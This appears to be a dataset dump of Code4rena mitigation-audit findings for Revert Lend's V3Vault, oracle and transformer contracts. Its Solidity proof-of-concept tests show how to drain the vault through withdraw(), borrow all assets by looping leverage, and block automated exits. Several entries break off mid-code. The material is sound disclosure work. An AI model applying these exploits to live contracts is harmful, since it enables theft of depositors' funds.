xanoutas/solidity-security-findings huggingface dataset:
Lenders can drain the Vault when withdrawing
Audit: 2024-04-revert-mitigation-findings
Severity: HIGH

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol#L1007-L1010


# Vulnerability details

## Impact

`V3Vault` can be drained through the `withdraw()` function due to improper asset conversion.

## Vulnerability

[PR-14](https://github.com/revert-finance/lend/pull/14/files) introduced a couple of updates to the `V3Vault` contract in response [to the following finding](https://github.com/code-423n4/2024-03-revert-lend-findings/issues/222) in order to prevent liquidations from getting DOSed.

A changes has also been introduced to `_withdraw()` so that instead of reverting when a lender tries to withdraw more shares than he owns, the amount is automatically reduced to the max withdrawable shares for that lender. This is how the change looks:

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol#L1007-L1010
```solidity

 function _withdraw(address receiver, address owner, uint256 amount, bool isShare)
        internal
        returns (uint256 assets, uint256 shares)
    {
        ....

        if (isShare) {
            shares = amount;
            assets = _convertToAssets(amount, newLendExchangeRateX96, Math.Rounding.Down);
        } else {
            assets = amount;
            shares = _convertToShares(amount, newLendExchangeRateX96, Math.Rounding.Up);
        }

+        uint256 ownerBalance = balanceOf(owner);
+        if (shares > ownerBalance) {
+            shares = ownerBalance;
+            assets = _convertToAssets(amount, newLendExchangeRateX96, Math.Rounding.Down);
+        }

        ....
    }

```

The problem is that the newly added code does not use the proper variable to convert the owner shares to assets. If you look closely you will see that `_convertToAssets()` uses `amount` instead of `shares` . 

In case the function is called with `isShare == true` (e.g `redeem()`) everything will be ok, since `amount == shares`.
However if `_withdraw()` is called with `isShare == false` (e.g `withdraw()`) the conversion will be wrong, because `amount == assets`. This will inflate the assets variable and since there are no checks after that to prevent it, more tokens will be transferred to the owner than he owns.

## POC

I've coded a short POC in the `V3Vault.t.sol` test file to demonstrate the vulnerability

Short summary of the POC:

- A deposit is created for 10 USDC
- The vault is funded with additional assets 
- `lastLendExchangeRateX96` is increased by 2% to simulate exchange rate dynamics
- owner calls `withdraw()` with an amount that is above the shares he owns so that the check can be activated
- owner receives the original 10 USDC + 10.3 USDC on top - effectively draining the pool
 

```solidity
using stdStorage for StdStorage;
....
function testWithdrawExploit(uint256 amount) external {
        // 0 borrow loan
        _setupBasicLoan(false);

        // provide additional 1000 USDC to vault
        deal(address(USDC), address(vault), 1000e6);

        uint256 lent = vault.lendInfo(W
Healthy position owners can be liquidated immediately once a token is disabled
Audit: 2024-04-revert-mitigation-findings
Severity: HIGH

# Lines of code

https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/V3Vault.sol#L1241


# Vulnerability details

## Original issue details

Finding [[M-20] - Tokens can't be removed as a collateral without breaking liquidations and other core functions](https://github.com/code-423n4/2024-03-revert-lend-findings/issues/158) describes a case where disabling collateral token while there are outstanding loans collateralized by such token leads to liquidation being DOSed.

Here is a short summary of the problem:
- A token gets disabled by configuring its `collateralFactorX32` to `0`
- `collateralFactorX32` is used  inside `_checkLoanIsHealthy()`, which calculates the collateral value
- `_checkLoanIsHealthy()` returns `0` when `collateralFactorX32` is `0`
- there is a calculation inside `liquidate()` that uses the result of `_checkLoanIsHealthy()` in its divisor and since it is 0 it reverts the whole function.

The problem has been mitigated by introducing a `0 value check` in this [PR-25](https://github.com/revert-finance/lend/pull/25/files)

## New issue details

There is another serious problem that arises when a collateral token is disabled. It is that all outstanding debt positions collateralized by the disabled token will become immediately `unhealthy` and `liquidatable` even if they are actually healthy and have enough collateral value to cover the debt 100 times over.

Here is a more detailed breakdown of the problem

`V3Vault.liquidate()` requires a position to become unhealthy before it can be liquidated:

https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/V3Vault.sol#L742
```solidity
 function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
   ....

  (state.isHealthy, ....) = _checkLoanIsHealthy(params.tokenId, state.debt, false);

  if (state.isHealthy) {
      revert NotLiquidatable();
  }
   ....
}
```
The health status of a function is calculated inside `V3Vault._checkLoanIsHealthy()`:

https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/V3Vault.sol#L1371-L1372
```solidity
function _checkLoanIsHealthy(uint256 tokenId, uint256 debt, bool withBuffer)
        internal
        view
        returns (bool isHealthy, uint256 fullValue, uint256 collateralValue, uint256 feeValue)
    {
        (fullValue, feeValue,,) = oracle.getValue(tokenId, address(asset));
        uint256 collateralFactorX32 = _calculateTokenCollateralFactorX32(tokenId);
        collateralValue = fullValue.mulDiv(collateralFactorX32, Q32);
        isHealthy = (withBuffer ? collateralValue * BORROW_SAFETY_BUFFER_X32 / Q32 : collateralValue) >= debt;
    }
```
The `collateralFactorX32` variable from the above function is detrimental for calculating the final value of the collateral. It basically determines the LTV (Loan-To-Value) for a position based on the pair tokens it is composed of. If `collateralFactorX
No Leverage control allows attackers to borrow all Vault asset.
Audit: 2024-04-revert-mitigation-findings
Severity: HIGH

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/transformers/LeverageTransformer.sol#L41-L102


# Vulnerability details

## Impact
- Attackers can borrow all Vault asset with just a small UniswapV3 position.

## Proof of concept
The contract `LeverageTransformer` is documented as `Lets positions being leveraged by borrowing, swapping and reading to collateralized position atomically. Also supports deleveraging.`. Below is how the function `leverageUp` works:
- The transformer will try to borrow some money from the Vault (using the user's position as collateral)
- The borrowed asset is swapped to `token0` or `token1` 
- The final amount of `token0` or `token1` is deposited back the UniswapV3 in function `increaseLiquidity` to increase liquidity of the position.

The problem with this flow is that it has no control of how much leverage a position could use. An attacker could exploit this by following these steps:
- Borrow assets from Vault and increase liquidity
- Since liquidity is increased, the collateral value of the position is also increased, this
allow the attacker to borrow more and increase liquidity and repeat.
- The result is that from just a small position, the attacker can borrow all Vault's assets.

Below is a POC, save this to file `test/integration/V3Vault.t.sol` and run it using command:
`forge test --match-path test/integration/V3Vault.t.sol --match-test testTransformLeverageUp -vvv`

```solidity
function testTransformLeverageUp() external {

        vault.setLimits(1000000, 50000e6, 50000e6, 10000e6, 10000e6);

        // lend 5000 USDC
        _deposit(5000e6, WHALE_ACCOUNT);
        // setup transformer
        LeverageTransformer transformer = new LeverageTransformer(NPM, EX0x, UNIVERSAL_ROUTER);
        vault.setTransformer(address(transformer), true);
        transformer.setVault(address(vault));
        // maximized collateral loan

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
        vm.stopPrank();

        // Log collateraValue
        (uint256 debt,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        console.log("Collateral %s:   Debt %s", collateralValue, debt);


        // swap 80870 USDC for DAI (to achieve almost optimal ratio)
        bytes memory swapUSDCDAI = abi.encode(
            EX0x,
            abi.encode(
                Swapper.ZeroxRouterData(
                    EX0x,
                    hex"415565b0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000000000000000000000000000000000000000013be6000000000000000000000000000000000000000000000000011a9a57ccf7a36300000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000
M-25 Unmitigated
Audit: 2024-04-revert-mitigation-findings
Severity: MEDIUM

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Oracle.sol?plain=1#L138


# Vulnerability details

## C4 issue

M-25: Asymmetric calculation of price difference


## Comments

V3Oracle compares the value difference between two prices to ensure that a token's price is valid. Unfortunately, the formula used to compare both prices is mathematically incorrect. Depending on if price1 is higher or lower than price2, the denominator used in the value difference will be different. This leads to asymmetric price valuations. 
 
## Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Oracle.sol?plain=1#L138


## Vulnerability details

When calculating the price difference for two prices, Revert utilizes a formula to calculate the % difference in prices denominated in basis points. Unfortunately, the verifiedPriceX96 used as the denominator is unreliable and leads to incorrect price differences depending on which price (either the `price` or `verified price`) is higher.

## Impact

Asymmetric price differences will occur depending on which price is higher or lower compared to the other. 
 
## Proof of Concept

Below is a forge test which shows how this math formula will return incorrect values based on which price is higher or lower:

```solidity
function test_priceDiff() public {
    bool r;
    uint verifyPriceX96;
    uint priceX96;
    uint256 maxDifferenceX10000 = 169;

    verifyPriceX96 = 1017;
    priceX96 = 1000;
    uint256 differenceX10000 = priceX96 >= verifyPriceX96 ? (priceX96 - verifyPriceX96) * 10000 : (verifyPriceX96 - priceX96) * 10000;
    r = differenceX10000 / verifyPriceX96 > maxDifferenceX10000;  

    // returns:  result 1:  false 167
    console.log("result 1: ", r, differenceX10000 / verifyPriceX96);

    verifyPriceX96 = 1000;
    priceX96 = 1017;
    differenceX10000 = priceX96 >= verifyPriceX96 ? (priceX96 - verifyPriceX96) * 10000 : (verifyPriceX96 - priceX96) * 10000;
    r = differenceX10000 / verifyPriceX96 > maxDifferenceX10000; 
    
    // result 2:  true 170
    console.log("result 2: ", r, differenceX10000 / verifyPriceX96);
} 
```
 
## Tools Used

Manual review

## Recommended Mitigation Steps

Instead of relying on the verified price as a denominator in the math formula, utilize the average price between both prices as the denominator.

The following forge test shows how utilizing the average price will result in an accurate price difference regardless of the priceX96 and verifyPriceX96 values.

```solidity
function test_priceDiffFix() public {
    bool r;
    uint verifyPriceX96;
    uint priceX96;
    uint256 maxDifferenceX10000 = 169;

    verifyPriceX96 = 1017;
    priceX96 = 1000;
    uint256 differenceX10000 = priceX96 >= verifyPriceX96 ? (priceX96 - verifyPriceX96) * 10000 : (verifyPriceX96 - priceX96) * 10000;
    uint256 averagePrice = (priceX96 + verifyPriceX96) / 2;  
    r = differenceX10000 / averagePrice > maxDifferenceX10000;  

    console.log("result 1: ", r,
V3Vault.maxWithdraw() unnecessarily converts balance assets to assets denomination
Audit: 2024-04-revert-mitigation-findings
Severity: MEDIUM

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L345
https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L1384-L1390
https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L1112


# Vulnerability details

## Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L345

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L1384-L1390

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L1112

## Vulnerability details

When V3Vault.maxWithdraw() is called, the V3Vault balance is retrieved from _getBalanceAndReserves(). This function will return the total assets owned by the vault. Further along in maxWithdraw(), the Vault will then convert these total assets (aka `balance` denominated as assets) into assets again via the _convertToAssets() function. This is not needed as `balance` is already in assets denomination.


## Impact

A larger amount of assets will be returned in maxWithdraw() since _convertToAssets() will make `balance` larger than it is since the exchange rate for `shares -> assets` is typically greater than 1.

 
## Proof of Concept


The _convertToAssets() function is used when the ownerAssetBalance is greater than or equal to balance. The balance is in assets, as it comes from _getBalanceAndReserves(), which gets the balance from totalAssets(), showing the token's total balance.

```solidity
function maxWithdraw(address owner) external view override returns (uint256) {
    (uint256 debtExchangeRateX96, uint256 lendExchangeRateX96) = _calculateGlobalInterest();

    uint256 ownerShareBalance = balanceOf(owner);
    uint256 ownerAssetBalance = _convertToAssets(ownerShareBalance, lendExchangeRateX96, Math.Rounding.Down);

    (uint256 balance,) = _getBalanceAndReserves(debtExchangeRateX96, lendExchangeRateX96);
    if (balance > ownerAssetBalance) {
        return ownerAssetBalance;
    } else {
        // AUDIT: balance is already denominated in assets. There is no need to convert to assets again.
->      return _convertToAssets(balance, lendExchangeRateX96, Math.Rounding.Down);
    }
}

function _getBalanceAndReserves(uint256 debtExchangeRateX96, uint256 lendExchangeRateX96)
    internal
    view
    returns (uint256 balance, uint256 reserves)
{
    // AUDIT: totalAssets() will return total asset balance denominated in assets
->  balance = totalAssets();
    uint256 debt = _convertToAssets(debtSharesTotal, debtExchangeRateX96, Math.Rounding.Up);
    uint256 lent = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);
    reserves = balance + debt > lent ? balance + debt - lent : 0;
}
```

 
## Tools Used

Manual review

## Recommended Mitigation Steps

Return the balance when the balance can't cover the owner's balance:

```solidity
function maxWithdraw(address owner) external view override returns (uint256) {
    (uint256 debtExchangeRateX96, uint256 lendExch
M-12 Unmitigated
Audit: 2024-04-revert-mitigation-findings
Severity: MEDIUM

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L961-L963


# Vulnerability details

## C4 issue

M-12: Wrong global lending limit check in _deposit function


## Comments

Revert utilizes a global lend limit to ensure that lenders do not exceed a global lend limit. Unfortunately, the global lend limit is denominated in assets. The value it compares itself to is `totalSupply()`, which is denominated in shares. This comparison is invalid since both values are in different denominations.
 
 
## Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Vault.sol?plain=1#L961-L963

## Vulnerability details

The _deposit() function incorrectly utilizes the wrong denomination when comparing the globalLendLimit to the number of shares. The globalLendLimit denomination is set in assets. However, `totalSupply() + shares` denomination is set in shares. This makes this comparison check incorrect and can lead to more assets being lent than anticipated. 
 
## Impact

More assets may be deposited than expected. 

 
## Proof of Concept

Reviewing the function below:

```solidity
if (totalSupply() + shares > globalLendLimit) {
    revert GlobalLendLimit();
}
```

Since `totalSupply() + shares` are denominated as shares and globalLendLimit as assets, the comparison is incorrect.

 
## Tools Used

Manual review

## Recommended Mitigation Steps

Convert the `totalSupply() + shares` to the correct denomination in assets:

```solidity
uint256 totalSharesDenominatedInAssets = _convertToAssets(totalSupply() + shares, newLendExchangeRateX96, Math.Rounding.Up);
if (totalSharesDenominatedInAssets > globalLendLimit) {
      revert GlobalLendLimit();
}
```
 
## Assessed type

Math 


## Assessed type

Math
ADD-02 Unmitigated
Audit: 2024-04-revert-mitigation-findings
Severity: MEDIUM

# Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Oracle.sol?plain=1#L360


# Vulnerability details

## Lines of code

https://github.com/revert-finance/lend/blob/audit/src/V3Oracle.sol?plain=1#L360

## Vulnerability details

### C4 issue

ADD-02: Missing L2 sequencer checks for Chainlink oracle

### Comments

Revert plans to deploy on Arbitrum. Because of this, Revert needs to add a Chainlink sequencer check when retrieving the Chainlink price. This check ensures that the Chainlink price retrieved is active and healthy. Unfortunately, V3Oracle._getChainlinkPriceX96() does not check if the Chainlink sequencer is down, leading to the possibility that Revert will use outdated Chainlink prices.
 
 
### Mitigation


PR #27

Revert mitigates this issue by adding a sequencer uptime safety check to the V3Oracle contract. This feature includes the following added changes:

- Add a sequencerUptimeFeed state variable which represents the address to check for the uptime feed.
- Add a SEQUENCER_GRACE_PERIOD_TIME state variable which represents how long Revert is willing to wait before it considers the sequencer active and healthy.
- Add a setSequencerUptimeFeed() function that allows the owner to set the uptime feed address.
- Add several guard checks in _getChainlinkPriceX96() to ensure that both the sequencer is up and that enough of a grace period has passed before Revert accepts the latest Chainlink prices.

The last point is a near copy of the Chainlink example code found [here](https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code).

### New issue

While checking to see if the sequencer is up, Revert will revert (no pun intended) the transaction if the sequencer is up.

 
### Code snippet

```solidity
// Answer == 0: Sequencer is up
// Answer == 1: Sequencer is down
if (sequencerAnswer == 0) {
  revert SequencerDown();
}
```

 
### Impact

If the sequencer uptime feed address is set in the contract, the function will always revert when the sequencer is up. 

 
### Proof of Concept

By reviewing the code in the code snippet as well as referencing the [Chainlink documentation](https://docs.chain.link/data-feeds/l2-sequencer-feeds), it is noted that a sequencerAnswer of 0 means that the sequencer is up. If the value is 1, then the sequencer is down. However, the if statement will revert if `sequencerAnswer == 0`. This means any time the sequencer is up, the function will revert.

 
### Tools used

Manual Review

### Recommended additional mitigation

Update the conditional statement such that:

```solidity
if (sequencerAnswer == 1) {
  revert SequencerDown();
}
```
 

### Conclusion

Mitigation error





## Assessed type

Library
An attacker can DOS AutoExit and AutoRange transformers and incur losses for position owners
Audit: 2024-04-revert-mitigation-findings
Severity: MEDIUM

# Lines of code

https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/automators/AutoExit.sol#L130
https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/transformers/AutoRange.sol#L139


# Vulnerability details

## Impact

An exploiter can block the execution of AutoExit and AutoRange transformers, which leads to the following consequences:
- `Limit orders` & `Stoploss orders` - position owners won't be able to exit a bad market and will suffer losses
- `Autorange orders` - positions that go out-of-range won't be rebalanced leading to missed profits or direct losses
 
## Vulnerability details

The `AutoRange.sol` and `AutoExit.sol` contracts serve the following functionality in Revert Lend:

- [`AutoRange.sol` contract](https://docs.revert.finance/revert/auto-range)
> Auto-Range automates the process of rebalancing your liquidity positions. When the token price moves and your position goes out-of-range by your selected percentage, the system then automatically rebalances your position`

- [`AutoExit` contract](https://docs.revert.finance/revert/auto-exit)
> Auto-Exit lets you pre-configure a position so that the liquidity is automatically withdrawn when the pool price reaches a predetermined value. Moreover, you can optionally configure the system to swap from one token to the other on withdrawal, providing a safety net for your investments akin to a stop-loss order.

Both of those contracts implement an `execute()` function that respectively transforms an NFT position based on the parameters provided to it. It can only be called by revert controlled bots (operators) which owners have approved for their position or by the `V3Vault` through it's `transform()` function.

The problem in both of those contracts is that the `execute()` function includes a validation that allows malicious users to DOS transaction execution and thus compromise the safety and integrity of the managed positions.

`AutoExit::execute()`

https://github.com/revert-finance/lend/blob/audit/src/automators/AutoExit.sol#L130
```solidity
 function execute(ExecuteParams calldata params) external {
        ....       
 
        // get position info
        (,, state.token0, state.token1, state.fee, state.tickLower, state.tickUpper, state.liquidity,,,,) =
            nonfungiblePositionManager.positions(params.tokenId);

        ....
        
        // @audit can be front-run and prevent execution
        if (state.liquidity != params.liquidity) {
            revert LiquidityChanged();
        }

        ....
    }
```

`AutoRange::execute()`

https://github.com/revert-finance/lend/blob/audit/src/transformers/AutoRange.sol#L139
```solidity
function execute(ExecuteParams calldata params) external {
        ....       
 
        // get position info
        (,, state.token0, state.token1, state.fee, state.tickLower, state.tickUpper, state.liquidity,,,,) =
            nonfungiblePositionManager.positions(params.toke